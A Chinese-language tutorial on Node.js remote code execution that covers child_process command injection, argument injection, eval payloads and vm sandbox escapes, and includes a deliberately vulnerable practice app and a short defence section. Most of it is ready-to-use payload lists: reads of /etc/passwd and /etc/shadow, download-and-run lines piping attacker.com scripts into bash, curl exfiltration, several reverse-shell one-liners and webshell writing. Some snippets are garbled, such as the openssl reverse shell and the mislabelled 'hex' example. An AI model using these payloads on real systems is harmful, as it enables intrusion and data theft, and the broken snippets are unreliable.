一、Node.js 进程创建 API 对比

Node.js 的 child_process 模块提供了四种创建子进程的方法,它们在是否经过 shell参数解析方式上有本质区别,直接影响安全风险。

1.1 四种方法签名

const cp = require('child_process');

// 1. exec: 经过 shell,返回完整输出字符串
cp.exec(command[, options][, callback])
cp.execSync(command[, options])

// 2. execFile: 不经过 shell,直接执行文件
cp.execFile(file[, args][, options][, callback])
cp.execFileSync(file[, args][, options])

// 3. spawn: 流式执行,不经过 shell
cp.spawn(command[, args][, options])
cp.spawnSync(command[, args][, options])

// 4. fork: spawn 的 Node.js 特定版本
cp.fork(modulePath[, args][, options])

1.2 关键差异表

方法 Shell 解析 参数形式 输出方式 同步版本 风险等级
exec ✅ 是 字符串命令 整体 buffer execSync ★★★★★
execFile ❌ 否 文件 + 参数数组 整体 buffer execFileSync ★★★
spawn ❌ 否(可配置 shell) 命令 + 参数数组 Stream 流 spawnSync ★★★
fork ❌ 否 模块路径 + 参数 IPC 消息 ★★

1.3 Shell 配置陷阱

// spawn 默认不经过 shell
cp.spawn('ls -la');  // 错误!找不到命令 'ls -la'

// spawn + shell: true 会经过 shell(危险)
cp.spawn('ls -la | grep foo', { shell: true });  // 可以工作,但有注入风险

// 注意 Windows 默认 shell: 'cmd.exe /s /c'
// Linux 默认 shell: '/bin/sh'

二、exec 命令注入

2.1 基础漏洞场景

const express = require('express');
const cp = require('child_process');
const app = express();

// 漏洞代码 1: 直接拼接用户输入
app.get('/ping', (req, res) => {
  const ip = req.query.ip;
  cp.exec('ping -c 4 ' + ip, (err, stdout) => {
    res.send('<pre>' + stdout + '</pre>');
  });
});
// 攻击: /ping?ip=127.0.0.1;cat /etc/passwd

// 漏洞代码 2: 模板字符串
app.get('/whois', (req, res) => {
  const domain = req.query.domain;
  cp.exec(`whois ${domain}`, (err, stdout) => {
    res.send(stdout);
  });
});
// 攻击: /whois?domain=google.com;curl http://attacker.com/shell.sh|bash

// 漏洞代码 3: 多个参数拼接
app.get('/backup', (req, res) => {
  const filename = req.query.name;
  cp.exec('tar -czf /backups/' + filename + ' /data', () => {
    res.send('done');
  });
});
// 攻击: /backup?name=x.tar.gz;cat /etc/shadow

2.2 Payload 技巧大全

// exec 的 Payload 可以使用所有 shell 特性:

// 基本命令连接
?ip=127.0.0.1;whoami
?ip=127.0.0.1|id
?ip=127.0.0.1&&cat /etc/passwd
?ip=127.0.0.1||uname -a

// 换行符注入
?ip=127.0.0.1%0acat%20/etc/passwd
?ip=127.0.0.1%0a%0awhoami

// 命令替换
?ip=$(cat /etc/passwd)
?ip=`id`

// 重定向
?ip=127.0.0.1;cat /etc/passwd>/tmp/out;curl http://attacker.com/out?f=$(cat /tmp/out)

// 反弹 Shell
?ip=127.0.0.1;bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"

// 下载执行
?ip=127.0.0.1;curl http://ATTACKER/s.sh|bash
?ip=127.0.0.1;wget http://ATTACKER/s.sh -O -|bash

// 写 Webshell
?ip=127.0.0.1;echo 'require("child_process").exec(req.query.c).toString()' > /var/www/html/shell.js

2.3 反弹 Shell 完整 PoC

// 攻击端: nc -lvnp 4444
// 目标: 存在 exec 命令注入的 Node.js 应用

// 方式 1: Bash 反弹
// Payload: ;bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
cp.exec(';bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');

// 方式 2: Node.js 自身反弹(如果 bash 不可用)
// Payload: ;node -e "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER/4444 0>&1')"
cp.exec(';node -e "require('child_process').exec('bash -i >& /dev/tcp/192.168.1.100/4444 0>&1')"');

// 方式 3: 长连接(后台执行,不阻塞)
cp.exec(';bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" 2>&1 &');

// 方式 4: Python 反弹(备用方案)
cp.exec(';python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"');

// 方式 5: 加密连接(绕过流量检测)
cp.exec(';bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" | openssl enc -aes-256-cbc -d -k secret_key | bash');

三、execFile/spawn 参数注入

3.1 参数注入原理

// execFile 和 spawn 不经过 shell,但攻击者仍可控制参数
// 漏洞场景: 文件处理功能

app.post('/process', (req, res) => {
  const filename = req.body.filename;
  // execFile: 文件 + 参数数组
  cp.execFile('/usr/bin/convert', [filename, 'thumb.png'], (err, stdout) => {
    res.send('ok');
  });
});

// 攻击方式: 参数注入(ImageMagick 等工具有参数注入)
// filename = "test.jpg -write /etc/passwd"
// 某些工具会解析文件名中的参数

// spawn + shell: false 仍可通过其他方式注入
cp.spawn('/usr/bin/find', ['/tmp', '-name', userInput]);
// userInput = 'foo -exec cat /etc/passwd {} ;'
// find 会把后面的参数当作 find 自身参数

3.2 安全使用方式 vs 危险使用

// ❌ 危险方式 1: exec + 拼接
cp.exec('rm -rf ' + userInput);

// ❌ 危险方式 2: spawn + shell:true
cp.spawn('rm -rf ' + userInput, { shell: true });

// ✅ 安全方式 1: execFile + 参数数组
cp.execFile('rm', ['-rf', userInput]);

// ✅ 安全方式 2: spawn + 参数数组
cp.spawn('rm', ['-rf', userInput]);

// ✅ 安全方式 3: 路径白名单校验
const ALLOWED_DIRS = ['/var/app/uploads', '/tmp/cache'];
if (!ALLOWED_DIRS.some(dir => userInput.startsWith(dir))) {
  throw new Error('Invalid path');
}
cp.execFile('rm', ['-rf', userInput]);

3.3 参数注入绕过白名单

// 如果应用做了文件名白名单校验:
// 只允许 .jpg .png 结尾
if (!/.(jpg|png)$/.test(filename)) {
  return res.status(400).send('Invalid file type');
}

// 但 execFile/spawn 仍可能有参数注入:
cp.spawn('/usr/bin/identify', [filename]);
// ImageMagick identify 可能解析文件名中的额外参数

// 文件名注入 Payload 示例
filename = 'test.jpg -verbose';       // 额外参数
filename = 'foo.jpg -resize 1x1';     // ImageMagick 参数

// 更极端: 如果用的是 ffmpeg
cp.execFile('ffmpeg', ['-i', userInput, 'output.mp4']);
// ffmpeg 协议注入: file:, concat:, http:
// userInput = 'concat:../../etc/passwd|pipe:...'

四、eval + 危险对象获取

4.1 获取 require/process 的多种方式

// 在 eval() 中获取危险对象

// 方式 1: 直接获取(如果作用域中可用)
eval('require("child_process").execSync("whoami")');

// 方式 2: 通过 this.constructor 链
eval('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")');

// 方式 3: 通过 Error 构造器
eval('var e = new Error(); e.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami")');

// 方式 4: 通过 String 构造器
eval('String.constructor("return process")().mainModule.require("child_process").execSync("whoami")');

// 方式 5: 通过 Function 构造器(最简单的全局对象获取方式)
eval('Function("return this")().process.mainModule.require("child_process").execSync("whoami")');

// 方式 6: 更短
eval('Function("return process")().mainModule.require("child_process").execSync("whoami")');

4.2 完整命令执行 Payload

// 所有 Payload 都可在 eval() 或 vm.runInContext() 中执行

// 短 Payload(需环境中有 require)
require('child_process').execSync('whoami').toString()
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')

// 无 require 环境(最通用)
Function('return process')().mainModule.require('child_process').execSync('whoami')
Function('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')

// 沙箱逃逸版本
this.constructor.constructor('return this')().process.mainModule.require('child_process').execSync('whoami')

// 通过 globalThis
globalThis.process.mainModule.require('child_process').execSync('id')  // Node 12+

// 不使用 require 的文件写入
fs.writeFileSync('/tmp/shell.js', 'console.log("pwned")')  // 如果有 fs 访问权限

4.3 无字母绕过(过滤 a-zA-Z)

// 如果正则 /[a-zA-Z]/ 被过滤

// 使用 eval + 16 进制
eval('require('child_process').execSync('whoami')')

// 使用模板字符串 + 构造
eval(`${(+[]).toString()}`)  // '0'
// 不实用,需要更复杂的编码

// 使用 charCodeAt 数组构造字符串
String.fromCharCode(114, 101, 113, 117, 105, 114, 101)  // 'require'
String.fromCharCode(99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115)  // 'child_process'

// 组合 Payload
var _=String.fromCharCode;eval(_(114,101,113,117,105,114,101)(_(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync('whoami'))

// 更短: 使用 10 进制数组
var _='';[_+=(a=(_=[]).push(1))*0+114,_+=String.fromCharCode(a)];_
// 不实用...

五、vm 模块沙箱逃逸

5.1 vm 模块基础

const vm = require('vm');

// 创建看似安全的沙箱
const sandbox = {};
const context = vm.createContext(sandbox);

// 运行用户代码
vm.runInContext(userInput, context);
// 或
vm.runInNewContext(userInput, sandbox);
// 或
vm.runInThisContext(userInput, { filename: 'evil.js' });

5.2 逃逸方法大全

// 方法 1: constructor 链逃逸(最经典)
// 每个函数的 constructor 都是 Function
// Function.constructor 也是 Function
// 所以可以递归获取 Function
this.constructor.constructor('return process')()
// this.constructor.constructor -> Function
// Function('return process')() -> process

// 方法 2: 通过函数原型
const F = (() => {}).constructor;
F('return process')()

// 方法 3: Error 构造器链
const e = new Error();
e.constructor.constructor('return process')()

// 方法 4: 通过代理对象(Proxy)
// 如果沙箱中有代理对象,可通过 handler.constructor 获取 Function

// 方法 5: 通过 RegExp
const r = /./;
r.constructor.constructor('return process')()

// 方法 6: 通过其他内置对象
{}.constructor.constructor('return process')()
[].constructor.constructor('return process')()
"".constructor.constructor('return process')()

5.3 完整沙箱逃逸 PoC

const vm = require('vm');

// 漏洞场景: 应用创建了"安全"沙箱运行用户代码
const sandbox = {};
const context = vm.createContext(sandbox);

// 用户提交的代码(eval 注入)
const maliciousCode = `
  // 逃逸链
  const proc = this.constructor.constructor('return process')();
  proc.mainModule.require('child_process').execSync('whoami');
`;

// 执行沙箱
try {
  vm.runInContext(maliciousCode, context);  // RCE!
} catch(e) {
  console.log(e);
}

// 更短的逃逸 Payload
const shortPayload = `
  Function('return process')().mainModule.require('child_process').execSync('id');
`;

// 如果 Function 构造器也被拦截了
// 可以通过各种对象间接获取
const payload2 = `
  var a = [].constructor;           // Array
  var b = a.constructor;            // Function (Array.constructor === Function)
  var p = b('return process')();    // 获取 process
  p.mainModule.require('child_process').execSync('whoami');
`;

// Object 的 constructor 也是 Function
const payload3 = `
  Object.constructor('return process')().mainModule.require('child_process').execSync('whoami');
`;

5.4 新版 Node.js vm.Script 逃逸

// Node.js 新 API
const vm = require('vm');

const script = new vm.Script(userCode);
const context = vm.createContext({});
script.runInContext(context);

// 逃逸方法: 和旧版一样的 constructor 链
// 只要能拿到任何对象,就能获取 Function,进而获取 process

// 使用 isolated-vm 仍然可逃逸
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({ memoryLimit: 16 });
const context = isolate.createContextSync();
const script = isolate.compileScriptSync(userCode);
script.runSync(context);

// isolated-vm 4.x 有已知逃逸
// 通过 Reference 或 ExternalCopy 获取原生对象

六、Express/Koa 实战漏洞场景

6.1 Express eval 注入

const express = require('express');
const app = express();
app.use(express.json());

// 漏洞代码 - 动态执行规则引擎
app.post('/evaluate', (req, res) => {
  const { condition } = req.body;
  // 危险!eval 用户输入的条件
  try {
    const result = eval(condition);
    res.json({ result });
  } catch(e) {
    res.json({ error: e.message });
  }
});

// 攻击请求
// POST /evaluate
// {"condition": "Function('return process')().mainModule.require('child_process').execSync('whoami').toString()"}
// 响应: {"result":"root
"}

// 反弹 Shell
// {"condition": "Function('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')"}

6.2 Koa + child_process

const Koa = require('koa');
const Router = require('koa-router');
const cp = require('child_process');

const app = new Koa();
const router = new Router();

// 漏洞: 文件类型判断用 file 命令
router.get('/mimetype', async (ctx) => {
  const filepath = ctx.query.file;
  // 危险: 直接拼接
  const result = cp.execSync('file -b ' + filepath).toString();
  ctx.body = result;
});

// 攻击: /mimetype?file=/etc/passwd;whoami
// 输出: text/plain; charset=utf-8
root

6.3 完整 Node.js 靶场

// vuln-app.js - 可自己搭建练习的靶场
const express = require('express');
const cp = require('child_process');
const app = express();
app.use(express.json());

// 漏洞 1: exec 命令注入
app.get('/vuln1', (req, res) => {
  const cmd = req.query.cmd || 'echo hello';
  cp.exec(cmd, (err, stdout) => res.send('<pre>' + stdout + '</pre>'));
});

// 漏洞 2: eval 代码注入
app.get('/vuln2', (req, res) => {
  const code = req.query.code || '1+1';
  try { res.send(String(eval(code))); } 
  catch(e) { res.send(e.message); }
});

// 漏洞 3: spawn 参数注入(需要某些特定命令)
app.get('/vuln3', (req, res) => {
  const userInput = req.query.input;
  const child = cp.spawn('find', ['/tmp', '-name', userInput]);
  let out = '';
  child.stdout.on('data', d => out += d);
  child.on('close', () => res.send(out));
});

// 漏洞 4: vm 沙箱逃逸
app.get('/vuln4', (req, res) => {
  const vm = require('vm');
  const sandbox = {};
  try {
    vm.runInNewContext(req.query.code, sandbox);
    res.send('executed');
  } catch(e) {
    res.send(e.message);
  }
});

// 启动
app.listen(3000, () => console.log('Vuln app on :3000'));

// 攻击测试:
// curl "http://localhost:3000/vuln1?cmd=whoami"
// curl "http://localhost:3000/vuln2?code=require('child_process').execSync('id').toString()"
// curl "http://localhost:3000/vuln2?code=Function('return process')().mainModule.require('child_process').execSync('whoami').toString()"
// curl "http://localhost:3000/vuln4?code=this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()"

七、防御方案

7.1 安全使用 child_process

const cp = require('child_process');

// ✅ 使用 execFile/spawn,避免 shell 解析
cp.execFile('ping', ['-c', '4', userInput]);

// ✅ 白名单校验
const ALLOWED_COMMANDS = ['ping', 'traceroute'];
if (!ALLOWED_COMMANDS.includes(command)) {
  throw new Error('Invalid command');
}
cp.execFile(command, args);

// ✅ 路径白名单
const safePath = path.resolve(userInput);
if (!safePath.startsWith('/var/app/')) {
  throw new Error('Path traversal detected');
}

// ❌ 避免 exec + 字符串拼接
cp.exec('ping ' + userInput);  // 危险!

7.2 禁用危险对象

// 方式 1: 全局 monkey-patch
const originalExec = cp.exec;
cp.exec = function(command, options, callback) {
  if (typeof command === 'string' && command.includes(';')) {
    throw new Error('Command injection detected');
  }
  return originalExec.apply(this, arguments);
};

// 方式 2: 禁用 require
delete global.require;
// 但内部模块仍可以使用

// 方式 3: 使用独立进程运行用户代码
// 用 spawn 启动一个独立的 Node.js 进程
// 进程间通过 IPC 通信

7.3 安全沙箱

// 使用 isolated-vm 限制资源
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
  memoryLimit: 16,         // 16MB 内存限制
  snapshot: snapshot,      // 从快照创建,减少启动时间
});
const context = isolate.createContextSync();

// 不传递任何原生对象到沙箱
const script = isolate.compileScriptSync(userCode, {
  filename: 'user.js',
});
script.runSync(context);

// 不使用 vm2 或 vm3(有多处逃逸)
// 推荐: isolated-vm, worker_threads + 白名单

八、总结

Node.js RCE 的核心路径:

  1. exec 命令注入:最经典,exec('cmd' + userInput) 直接可用 shell 特性
  2. spawn 参数注入shell: false 但可利用命令自身的参数注入特性
  3. eval 代码注入:关键是获取 require/process
  4. vm 沙箱逃逸this.constructor.constructor('return process')() 万能逃逸链
  5. 完整 RCE 链:获取 process → 获取 mainModule.require → require('child_process') → exec()

防御核心:永远不要将用户输入与字符串命令拼接,使用参数数组形式调用 execFile/spawn。